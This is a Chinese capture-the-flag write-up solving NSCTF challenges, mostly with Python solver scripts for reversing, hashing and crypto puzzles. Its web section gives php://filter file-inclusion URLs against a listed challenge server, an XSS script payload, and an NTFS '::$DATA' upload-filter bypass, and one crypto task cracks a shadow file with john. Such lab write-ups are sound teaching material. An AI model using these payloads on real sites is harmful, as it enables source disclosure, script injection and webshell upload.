NSCTF测试平台WriteUp

做了一些题目,简单记录下

Mobile

Crackme

密码就是flag,jeb反编译分析就可得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :iqiqiya
# @Blog :iqiqiya.com
# @Time :2020/6/29
import hashlib
str1 = "miaomiao!"
s2 = [23, 1, 0, 1, 10, 17, 7, 90, 20]
flag1 = ""
for i in range(9):
flag1+=chr(ord(str1[i]) ^ s2[i])
print flag1

dic=['q','w','e','r','t','y','u','i','o','a','s','d','f','g','h','j','k','p','l','z','x','c','v','b','n','m','0','1','2','3','4','5','6','7','8','9']
for a in range(len(dic)):
for b in range(len(dic)):
for c in range(len(dic)):
m='27a3c22d01eb'+dic[a]+dic[b]+dic[c]+'6ee8866aa5e5e7820'
flag=hashlib.md5()
flag.update(m)
md5=flag.hexdigest()
if md5=='271373f323d9f76dc31204ff19823fdf':
print m
print md5

REVERSE

美国队长

分析可以发现关键是在sub_401000()这个函数

image-20200628165839127

异或拼接就是flag

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :iqiqiya
# @Blog :iqiqiya.com
# @Time :2020/6/29
a = '7e0cad17016b0>?45?f7c>0>4a>1c3a0'
flag_q = 'flag:{NSCTF_md5'
flag_h = '}'
for i in range(len(a)):
flag_q+=chr(ord(a[i]) ^ 0x7)
print flag_q + flag_h

re

IDA64载入

查看main函数 分析如下图所示

image-20200628163755607

dwfsxe::dwfsxe函数与handvfiu::handvfiu函数可以得到两个字符串

image-20200628164216271

m = ‘0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+’

image-20200628164247411

enc = ‘hP&p0!5L^#3NXLs@*QR%L&UN!L)0%Q^’

最后在B::cewrwe23rf这个函数进行比较

image-20200628162337609

动态调试可以分析出

sc_20200628155055

总结就是

  1. 我们输入的字符串长度 = 31

即len(flag) = 31

  1. 字符串每一位 - 0x30 = 下标(下边这个表)

0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+

  1. 下标对应的位置的字符 需要等于 这串字符中的hP&p0!5L^#3NXLs@*QR%L&UN!L)0%Q^

逆推一下就可以得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :iqiqiya
# @Blog :iqiqiya.com
# @Time :2020/6/29
import base64
def decode_1(str1, num1):
test_str = ''
for i in range(len(str1)):
test_str+=chr(ord(str1[i]) ^ num1)
return base64.b64decode(test_str)

test_str1 = 'OFG{OxS3Lha6MUDk[0PnXofmcUrp`E3w`1@zalL2fZX1gJn4SWHFPGTEP2jHQivOVW7RWDDQW3PTTnf[UTmjSAOiHT6oIkerZ{q?'
test_str2 = 'bEBn`GBkMV{fJyMLTF{yR@sQVjUNIoULJVtsN@UQ[d>>'
m = decode_1(test_str1, 2)
enc = decode_1(test_str2, 3)

flag = ''
for i in range(len(enc)):
for j in range(len(m)):
if enc[i]==m[j]:
flag+=chr(j+0x30)
print(flag)

Web

Dream II

根据提示 burpsuit发送内容是message的put请求

就可以得到一串字符

base64解码就是flag

image-20200701131334140

Welcome

F12查看源代码可以看到flag前半段

image-20200701131817721

抓包可以在响应头发现后半段 拼接就是flag

image-20200701131903070

Code Php

F12查看源代码可以看到注释有code.txt

image-20200701132208873

访问得到php代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

审计代码可以发现 题目考察两个点

  • php在进行比较时如果遇到”0e”开头的字符串,会当成科学技术法,因为0的不管多少次方都是0,也就造成了hash比较缺陷

  • strcmp函数只会处理字符串类型参数,如果是数组的话,就会返回NULL,而判断使用的是==,NULL==0为真

由此可以构造Payload

Include

访问发现页面空白 查看源代码 发现注释include1.php

访问http://192.144.182.32:8001/abf20c91a442da48/2/include1.php会自动跳转到http://192.144.182.32:8001/abf20c91a442da48/2/include1.php?file=index

尝试把index换成include1构造伪协议访问得到base64加密的include1.php源代码

http://192.144.182.32:8001/abf20c91a442da48/2/include1.php?file=php://filter/read=convert.base64-encode/resource=include1

解密得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
</html>
<?php

error_reporting(0);
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00|flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100 || $file==="include1" )
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
setcookie("tips","include2.php");
}
}
else
{
header('Location:include1.php?file=index');
}
?>

审计代码发现过滤了flag,但是有一个include2.php,同样构造得到源码

http://192.144.182.32:8001/abf20c91a442da48/2/include1.php?file=php://filter/read=convert.base64-encode/resource=include2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
</html>
<?php
error_reporting(0);
$file = $_GET["file"];
if(isset($file))
{
if ( preg_match('/http|data|ftp|input|%00|base/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
else
{
echo "file not found";
}
?>

发现include2没有过滤flag字符串,但是过滤了base,没办法直接得到flag源码

经过一番百度了解到可以使用rot13过滤器,详情看这里

于是可以构造http://192.144.182.32:8001/abf20c91a442da48/2/include2.php?file=php://filter/read=string.rot13/resource=flag

查看源代码就可以得到rot13编码后的flag

image-20200701135810268

XSS

输入”>123<” 页面显示123<””> 于是可以插入

1
"><script>alert(/XXX/)</script>

得到flag (ps:提交注意格式)

image-20200701140757589

Upload

题目信息

上传可执行的php文件。flag格式:flag{xxx}。
http://192.144.182.32:8001/abf20c91a442da48/6/index.php

hint1: 系统是Windows
hint2: 磁盘为NTFS格式

根据提示,使用windows系统特性进行绕过

原理

php在window系统运行时,如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名

效果

image-20200628194212630

Crypto

签到题

010 Editer打开就是flag

image-20200628194457077

解密吧

题目给了一个shadow文件,直接使用john shadow破解得到hello123

所以flag{hello123}

解密

三位一组分开 就可以得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
题目:

FOKLPLA
CGGODII
SSSDOOP

注:flag格式为flag{}。
FOK
LPL
ACG
GOD
IIS
SSD
OOP
FLAG IS OOPCOISOKLGDSDP

flag{OOPCOISOKLGDSDP}

加密的压缩包

zipinfo命令查看zip文件信息,可以发现有4个txt

1
2
3
4
5
6
7
8
➜  Desktop zipinfo flag.zip
Archive: flag.zip
Zip file size: 620 bytes, number of entries: 4
-rw-a-- 6.3 fat 6 Bx stor 19-Mar-14 19:23 1.txt
-rw-a-- 6.3 fat 6 Bx stor 19-Mar-14 19:26 2.txt
-rw-a-- 6.3 fat 6 Bx stor 19-Mar-14 19:27 3.txt
-rw-a-- 6.3 fat 38 Bx stor 19-Mar-14 19:29 flag.txt
4 files, 56 bytes uncompressed, 56 bytes compressed: 0.0%

使用python获取crc32值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :iqiqiya
# @Blog :iqiqiya.com
# @Time :2020/7/2
# @FileName :crc32破解zip压缩包.py
import zipfile


def getcrc(zip_file_name):
f = zipfile.ZipFile(zip_file_name, "r")
# 这里替换名字 得到不同crc32
GetCrc = f.getinfo("flag.txt")
crc = GetCrc.CRC
return crc


txt_crc = getcrc("flag.zip")
print hex(txt_crc)

得到关系(ps:也可以使用winrar或者bandzip直接查看)

文件名称 CRC32
1.txt 0x4b10deba
2.txt 0x1fd8a07a
3.txt 0xe7f7e18c
flag.txt 0x88940fde

接着使用crc32.py项目碰撞crc32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
➜  crc32 git:(master) python crc32.py reverse 0x4b10deba
4 bytes: {0x16, 0x6d, 0xbe, 0xb2}
verification checksum: 0x4b10deba (OK)
alternative: 78CgbK (OK)
alternative: 9zqj3M (OK)
alternative: APYPnq (OK)
alternative: BMCoE9 (OK)
alternative: D8vMpO (OK)
alternative: IZO3bY (OK)
alternative: Passis (OK)
alternative: Qa2Brj (OK)
alternative: RA911z (OK)
alternative: WxtMCX (OK)
alternative: a_jiUt (OK)
alternative: d7EtKJ (OK)
alternative: hIrgCQ (OK)
alternative: iI3VXH (OK)
alternative: j8ZDwD (OK)
alternative: lMofB2 (OK)
alternative: mlpG0g (OK)
alternative: nP4hrc (OK)
alternative: oPuYiz (OK)
alternative: x54H2B (OK)
alternative: yxXDDS (OK)
➜ crc32 git:(master) python crc32.py reverse 0x1fd8a07a
4 bytes: {0x8a, 0x2f, 0xcb, 0xe4}
verification checksum: 0x1fd8a07a (OK)
alternative: 6hjEgo (OK)
alternative: 8Zd939 (OK)
alternative: Eh_ouk (OK)
alternative: Q1ZQlW (OK)
alternative: TYuLri (OK)
alternative: U5GPm4 (OK)
alternative: We1c0m (OK)
alternative: eglVNn (OK)
alternative: ff95d2 (OK)
alternative: hT7I0d (OK)
alternative: jh2Wiy (OK)
alternative: lqtXXK (OK)
alternative: mmz5BF (OK)
alternative: mq5iCR (OK)
alternative: sOAKcG (OK)
alternative: tVFuIl (OK)
alternative: yyR66r (OK)
alternative: zYYEub (OK)
➜ crc32 git:(master) python crc32.py reverse 0xe7f7e18c
4 bytes: {0xc0, 0x5b, 0x01, 0x73}
verification checksum: 0xe7f7e18c (OK)
alternative: 0Bp_Lu (OK)
alternative: 1B1nWl (OK)
alternative: 9ThQZP (OK)
alternative: A3mVjd (OK)
alternative: RsoVYs (OK)
alternative: UjhhsX (OK)
alternative: Ze6iTO (OK)
alternative: _ajYN5 (OK)
alternative: cMvLet (OK)
alternative: dTqrO_ (OK)
alternative: eT0CTF (OK)
alternative: mc7l06 (OK)
alternative: n_sCr2 (OK)
alternative: o3A_mo (OK)

可以得到PassisWe1c0meT0CTF

解压密码就是We1c0meT0CTF,解压得到flag

一般难度的加解密

常规RSA题目,先求d就可以得到m,就是最后解码有点烦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :iqiqiya
# @Blog :iqiqiya.com
# @Time :2020/7/3
# @FileName :rsa.py
import gmpy2
import binascii


# 将一串十进制转换为ASCII
def int2ascii(int_str):
list_s = []
new_str = hex(int_str)[2:]
for i in range(0, len(new_str), 2):
list_s.append(chr(int(new_str[i:i+2], 16)))
return ''.join(list_s)


# 将一串十六进制转换为ASCII
def hex2ascii(new_str):
list_s = []
for i in range(0, len(new_str), 2):
list_s.append(chr(int(new_str[i:i+2], 16)))
return ''.join(list_s)


# 将一串字符串转换为十进制串
def str2int(str_str):
return int(binascii.b2a_hex(str_str), 16)

def main():
c = 1108720364492385799805717943937918060048526686632395746898605745688969945693300368550572535124894531708904132908712946064602541973611760483878801239151031299505176101339745929473781263049557987390484771902312139798039911597877998250388726877993580914980474480293867479170492238375158080782836777298213863290116245676895861278718289218295612330959263259493578492707392744409690646283644352285471769766271487818771858490165583525701466222529932104739972329024611642134115654847192615572712261792672665564752969261173197159412801526730369043148932804674062143090741836944217972042953469090269447505782409398031378370152
n = 26221250500210405881132117557481723828766403943957950577451874805030106596081117375156772427206128405044267565826746522083073344532158814742511219204087934469113726393167485385378981630858737362324790588554286527642921364757519448451820127769942271309179542598449740660811048250973469013409521371791098074887056492924891157941526458248272889917641905464741404650030958545690892412495947165576458308474382558997629624440993069542093798549029729504677699266868041518498869029774178904303543559872895807099482683032802362220977267523960685985521766229201489330046455426324265875811125282379015211742752299449996253305521
e = 65537
d = gmpy2.invert(e, (n-1))
m = pow(c, d, n)
# print m
flag = int2ascii(m)
flag = hex(int(flag))
# 去掉最后的L
flag = flag[:-1]
# 最终的flag
print hex2ascii(flag[2:])


if __name__ == '__main__':
main()

凯撒

题目给出很多ASCII,整理转成字符,遍历凯撒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :iqiqiya
# @Blog :iqiqiya.com
# @Time :2020/7/3
# @FileName :凯撒.py
def convertChar(ciphertext, offset):
chars = "abcdefghijklmnopqrstuvwxyz"
for char in ciphertext:
is_upper_flag = 0
if char.isupper():
char = char.lower()
is_upper_flag = 1

if char not in chars:
outputChar(is_upper_flag, char)
continue

tempchar_ascii = ord(char) + offset
tempchar = chr(tempchar_ascii)
if tempchar not in chars:
if offset < 0:
tempchar_ascii += len(chars)
else:
tempchar_ascii -= len(chars)
tempchar = chr(tempchar_ascii)
outputChar(is_upper_flag, tempchar)
print("")


def outputChar(is_upper_flag, char):
if is_upper_flag == 1:
print(char.upper(), end="")
else:
print(char, end="")

a = [109, 115, 104, 110, 123, 108, 53, 55, 105, 57, 108, 49, 56, 105, 48, 56, 105, 109, 109, 48, 107, 48, 53, 104, 51, 106, 53, 57, 57, 48, 48, 105, 49, 48, 63, 63, 63, 125, 116, 107, 53, 58, 50, 57, 106, 49, 107, 107, 51, 104, 109, 53, 105, 105, 54, 57, 56, 108, 109, 107, 56, 49, 106, 104, 53, 105, 106, 49, 49, 55, 56, 108, 53, 109]
flag = ''
for i in range(len(a)):
flag+=chr(a[i])
print(flag)
for i in range(27):
convertChar(flag, i)

得到flag{e57b9e18b08bff0d05a3c59900b10???}md5:29c1dd3af5bb698efd81ca5bc1178e5f

开始还以为是

md5(e57b9e18b08bff0d05a3c59900b10???) = 29c1dd3af5bb698efd81ca5bc1178e5f

然后发现跑不出来,somd5一下得到9a4,才意识到是后三位爆破

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :iqiqiya
# @Blog :iqiqiya.com
# @Time :2020/7/3
# @FileName :md5碰撞.py
import hashlib

dic=['q','w','e','r','t','y','u','i','o','a','s','d','f','g','h','j','k','p','l','z','x','c','v','b','n','m','0','1','2','3','4','5','6','7','8','9']
for a in range(len(dic)):
for b in range(len(dic)):
for c in range(len(dic)):
m=dic[a]+dic[b]+dic[c]
flag=hashlib.md5()
flag.update(m)
md5=flag.hexdigest()
if md5=='29c1dd3af5bb698efd81ca5bc1178e5f':
print m

最后flag{e57b9e18b08bff0d05a3c59900b109a4}

MISC

reverse

下载得到一flag.png,发现无法显示,用010 Editer打开发现十六进制数据进行了翻转

脚本处理生成cc.png,打开就是flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :iqiqiya
# @Blog :iqiqiya.com
# @Time :2020/7/3
# @FileName :pic_rev.py
infile = file("flag.png", "rb")
# outfile = file("out.txt", "wb")


def main():
# 读取flag.png的十六进制并翻转写入out.txt
hex_list = []
while 1:
c = infile.read(1)
if not c:
break
hex_list.append(hex(ord(c))[2:])
hex_list.reverse()
infile.close()
# outfile.writelines(hex_list)
# outfile.close()
ccfile = file("cc.png", "wb")
for x in hex_list:
if len(x) == 1:
x = '0'+x
print x
ccfile.write(x.decode("hex"))

if __name__ == '__main__':
main()

image-20200703163735143

参考链接

上传漏洞之利用Windows/Linux系统特性绕过